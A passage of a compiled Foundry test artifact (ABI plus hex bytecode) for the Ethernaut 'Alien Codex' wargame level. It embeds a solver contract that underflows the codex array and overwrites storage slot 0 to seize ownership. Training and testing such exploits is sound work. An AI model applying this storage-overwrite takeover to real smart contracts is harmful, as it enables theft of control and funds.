ernalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615e0c806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b42565b6200080d565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d7565b604051620001c7919062001b85565b620001b3620001fa36600462001c71565b62000a39565b6200020a62000c04565b604051620001c7919062001d44565b620001da62000d4c565b620001da62000dac565b6200023762000e0c565b604051620001c7919062001e07565b620001da6200025736600462001ed4565b62000f06565b6200019a62001096565b62000271620011ec565b604051620001c7919062001eec565b620001b36200029136600462001f52565b620012c1565b62000237620013e0565b620002b8620002b236600462001f70565b620014da565b6040519015158152602001620001c7565b620002716200166a565b6200019a6200173f565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017d6565b620001da620018aa565b6200019a6200032f36600462001ed4565b6200190a565b601e54620002b89060ff1681565b5f62000350600262000f06565b9050805f8151811062000367576200036762001fac565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fac565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012c1565b60205f6101000a8154816001600160a01b0302191690836001600160a01b031602179055505f620006016040518060400160405280601181526020017f416c69656e436f646578466163746f727900000000000000000000000000000081525062000a39565b6020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000661575f80fd5b505af115801562000674573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006d3575f80fd5b505af1158015620006e6573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000741575f80fd5b505af115801562000754573d5f803e3d5ffd5b50506020546200077292506001600160a01b03169050825f6200080d565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007f2575f80fd5b505af115801562000805573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000869575f80fd5b505af11580156200087c573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008dc575f80fd5b505af1158015620008ef573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000954573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200097d91908101906200204d565b90508060018251620009909190620021dd565b81518110620009a357620009a362001fac565b60200260200101515f0151600281518110620009c357620009c362001fac565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a10575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a99573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ac29190810190620021f3565b90505f81848560405160200162000adb92919062002245565b60408051601f198184030181529082905262000afb9291602001620022f3565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5f90859060040162002325565b5f60405180830381865afa15801562000b7a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ba39190810190620021f3565b90505f62000bf06040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200197e90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d2b578382905f5260205f2001805462000c999062002339565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc79062002339565b801562000d165780601f1062000cec5761010080835404028352916020019162000d16565b820191905f5260205f20905b81548152906001019060200180831162000cf857829003601f168201915b50505050508152602001906001019062000c79565b50505050815250508152602001906001019062000c27565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000eed57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e995790505b5050505050815250508152602001906001019062000e2f565b60605f8267ffffffffffffffff81111562000f255762000f2562001bd3565b60405190808252806020026020018201604052801562000f4f578160200160208202803683370190505b5090505f5b838110156200108f575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fc2919062002373565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001040575f80fd5b505af115801562001053573d5f803e3d5ffd5b50505050808383815181106200106d576200106d62001fac565b6001600160a01b03909216602092830291909101909101525060010162000f54565b5092915050565b6023546040517f45b560780000000000000000000000000000000000000000000000000000000081526001600160a01b03909116600482018190526024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906345b56078906044015f604051808303815f87803b1580156200110d575f80fd5b505af115801562001120573d5f803e3d5ffd5b50505050604051620011329062001af2565b604051809103905ff0801580156200114c573d5f803e3d5ffd5b506021546040517f0aeb4ddf0000000000000000000000000000000000000000000000000000000081526001600160a01b039182166004820152911690630aeb4ddf906024015f604051808303815f87803b158015620011aa575f80fd5b505af1158015620011bd573d5f803e3d5ffd5b5050602054602154620011ea9350620011e492506001600160a01b039182169116620014da565b62001a20565b565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d43578382905f5260205f200180546200122f9062002339565b80601f01602080910402602001604051908101604052809291908181526020018280546200125d9062002339565b8015620012ac5780601f106200128257610100808354040283529160200191620012ac565b820191905f5260205f20905b8154815290600101906020018083116200128e57829003601f168201915b5050505050815260200190600101906200120f565b5f80604051620012d19062001b00565b604051809103905ff080158015620012eb573d5f803e3d5ffd5b5090505f604051620012fd9062001b0e565b604051809103905ff08015801562001317573d5f803e3d5ffd5b508483604051620013289062001b1c565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001362573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013c1575f80fd5b505af1158015620013d4573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014c157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200146d5790505b5050505050815250508152602001906001019062001403565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001536575f80fd5b505af115801562001549573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015a7575f80fd5b505af1158015620015ba573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200161e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200164791908101906200204d565b90506001815111156200165f57600191505062001664565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d43578382905f5260205f20018054620016ad9062002339565b80601f0160208091040260200160405190810160405280929190818152602001828054620016db9062002339565b80156200172a5780601f1062001700576101008083540402835291602001916200172a565b820191905f5260205f20905b8154815290600101906020018083116200170c57829003601f168201915b5050505050815260200190600101906200168d565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001796575f80fd5b505af1158015620017a9573d5f803e3d5ffd5b5050602054602154620011ea9350620017d092506001600160a01b039182169116620014da565b62001a9f565b6008545f9060ff1615620017ee575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200187d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018a3919062002391565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b5f620019178243620023a9565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007f2575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019d59086908690600401620023bf565b5f60405180830381865afa158015620019f0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a199190810190620023f0565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a85575f80fd5b505afa15801562001a98573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a6e565b6102a7806200242783390190565b610ae580620026ce83390190565b611e7a80620031b383390190565b610daa806200502d83390190565b6001600160a01b038116811462001b3f575f80fd5b50565b5f805f6060848603121562001b55575f80fd5b833562001b628162001b2a565b9250602084013562001b748162001b2a565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bc75783516001600160a01b03168352928401929184019160010162001ba0565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c0d5762001c0d62001bd3565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c3f5762001c3f62001bd3565b604052919050565b5f67ffffffffffffffff82111562001c635762001c6362001bd3565b50601f01601f191660200190565b5f6020828403121562001c82575f80fd5b813567ffffffffffffffff81111562001c99575f80fd5b8201601f8101841362001caa575f80fd5b803562001cc162001cbb8262001c47565b62001c13565b81815285602083850101111562001cd6575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d0f57818101518382015260200162001cf5565b50505f910152565b5f815180845262001d3081602086016020860162001cf3565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001df857603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001de157605f1988850301835262001dce84865162001d17565b948d01949350918c019160010162001daf565b505050968901969350509087019060010162001d69565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ec657888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001eb05783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e6c565b5096890196945050509086019060010162001e2e565b509098975050505050505050565b5f6020828403121562001ee5575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f4557603f1988860301845262001f3285835162001d17565b9450928501929085019060010162001f13565b5092979650505050505050565b5f6020828403121562001f63575f80fd5b813562001a198162001b2a565b5f806040838503121562001f82575f80fd5b823562001f8f8162001b2a565b9150602083013562001fa18162001b2a565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fdc5762001fdc62001bd3565b5060051b60200190565b5f62001ff662001cbb8462001c47565b90508281528383830111156200200a575f80fd5b62001a1983602083018462001cf3565b5f82601f8301126200202a575f80fd5b62001a198383516020850162001fe6565b8051620020488162001b2a565b919050565b5f60208083850312156200205f575f80fd5b825167ffffffffffffffff8082111562002077575f80fd5b818501915085601f8301126200208b575f80fd5b81516200209c62001cbb8262001fc0565b81815260059190911b83018401908481019088831115620020bb575f80fd5b8585015b83811015620021bc57805185811115620020d7575f80fd5b86016060818c03601f19011215620020ed575f80fd5b620020f762001be7565b888201518781111562002108575f80fd5b8201603f81018d1362002119575f80fd5b898101516200212c62001cbb8262001fc0565b81815260059190911b8201604001908b8101908f8311156200214c575f80fd5b6040840193505b828410156200216e5783518252928c0192908c019062002153565b845250505060408201518781111562002185575f80fd5b620021958d8b838601016200201a565b8a83015250620021a8606083016200203b565b6040820152845250918601918601620020bf565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016645762001664620021c9565b5f6020828403121562002204575f80fd5b815167ffffffffffffffff8111156200221b575f80fd5b8201601f810184136200222c575f80fd5b6200223d8482516020840162001fe6565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200227e81600585016020880162001cf3565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022bd81600a84016020880162001cf3565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200230681846020880162001cf3565b8351908301906200231c81836020880162001cf3565b01949350505050565b602081525f62001a19602083018462001d17565b600181811c908216806200234e57607f821691505b6020821081036200236d57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002384575f80fd5b815162001a198162001b2a565b5f60208284031215620023a2575f80fd5b5051919050565b80820180821115620016645762001664620021c9565b604081525f620023d3604083018562001d17565b8281036020840152620023e7818562001d17565b95945050505050565b5f6020828403121562002401575f80fd5b815167ffffffffffffffff81111562002418575f80fd5b6200223d848285016200201a56fe608060405234801561000f575f80fd5b5061028a8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80630aeb4ddf1461002d575b5f80fd5b61004061003b3660046101c1565b610042565b005b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663328b52cb6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561008b575f80fd5b505af115801561009d573d5f803e3d5ffd5b505050508073ffffffffffffffffffffffffffffffffffffffff166347f57b326040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156100e6575f80fd5b505af11580156100f8573d5f803e3d5ffd5b5050604080516001602080830191909152825180830382018152918301909252805191012091505073ffffffffffffffffffffffffffffffffffffffff8216630339f300610147835f19610228565b610152906001610241565b60405160e083901b7fffffffff0000000000000000000000000000000000000000000000000000000016815260048101919091523260248201526044015f604051808303815f87803b1580156101a6575f80fd5b505af11580156101b8573d5f803e3d5ffd5b50505050505050565b5f602082840312156101d1575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff811681146101f4575f80fd5b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561023b5761023b6101fb565b92915050565b8082018082111561023b5761023b6101fb56fea26469706673582212209773b40f324496206a841569b9a82c562e92131aaa0dbd1db5e6eb2d3ccfa0c464736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600381018054600181810183559186528486204291018190556002